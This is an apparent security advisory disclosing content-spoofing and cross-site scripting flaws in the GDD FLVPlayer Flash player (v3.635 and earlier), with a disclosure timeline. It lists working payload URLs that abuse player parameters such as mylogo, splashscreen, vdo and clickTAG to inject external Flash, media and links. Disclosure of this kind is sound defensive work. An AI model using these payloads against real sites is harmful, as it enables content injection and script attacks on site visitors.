CS and XSS vulnerabilities in GDD FLVPlayer

Hello 3APA3A!

These are Content Spoofing and Cross-Site Scripting vulnerabilities in GDD FLVPlayer.

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Affected products:

Vulnerable are GDD FLVPlayer v3.635 and previous versions.

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Affected vendors:

GeDeDe
http://www.gdd.ro

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Details:

Content Spoofing (Flash Injection) (WASC-12):

http://site/gddflvplayer.swf?mylogo=http://site2/1.swf

http://site/gddflvplayer.swf?splashscreen=http://site2/1.swf

It's possible to include flash-files with links.

XSS (via Flash Injection) (WASC-08):

http://site/gddflvplayer.swf?mylogo=xss.swf

http://site/gddflvplayer.swf?splashscreen=xss.swf

In old versions of Flash player the attack will work with flash file xss.swf at any domain, in new versions - only at the same domain.

Content Spoofing (Content Injection) (WASC-12):

http://site/gddflvplayer.swf?mylogo=http://site2/1.jpg

http://site/gddflvplayer.swf?splashscreen=http://site2/1.jpg

http://site/gddflvplayer.swf?advert=http://site2/1.flv

http://site/gddflvplayer.swf?vdo=http://site2/1.flv

Injecting images and playing video and audio (flv, mp4 and mp3 files) from external sites.

Content Spoofing (Link Injection) (WASC-12):

http://site/gddflvplayer.swf?clickTAG=http://websecurity.com.ua

http://site/gddflvplayer.swf?vdo=http://site2/1.flv&endclipaction=http://websecurity.com.ua

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Timeline:

2013.07.10 - announced at my site.
2013.07.11 - informed developers.
2013.08.23 - disclosed at my site (http://websecurity.com.ua/6642/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua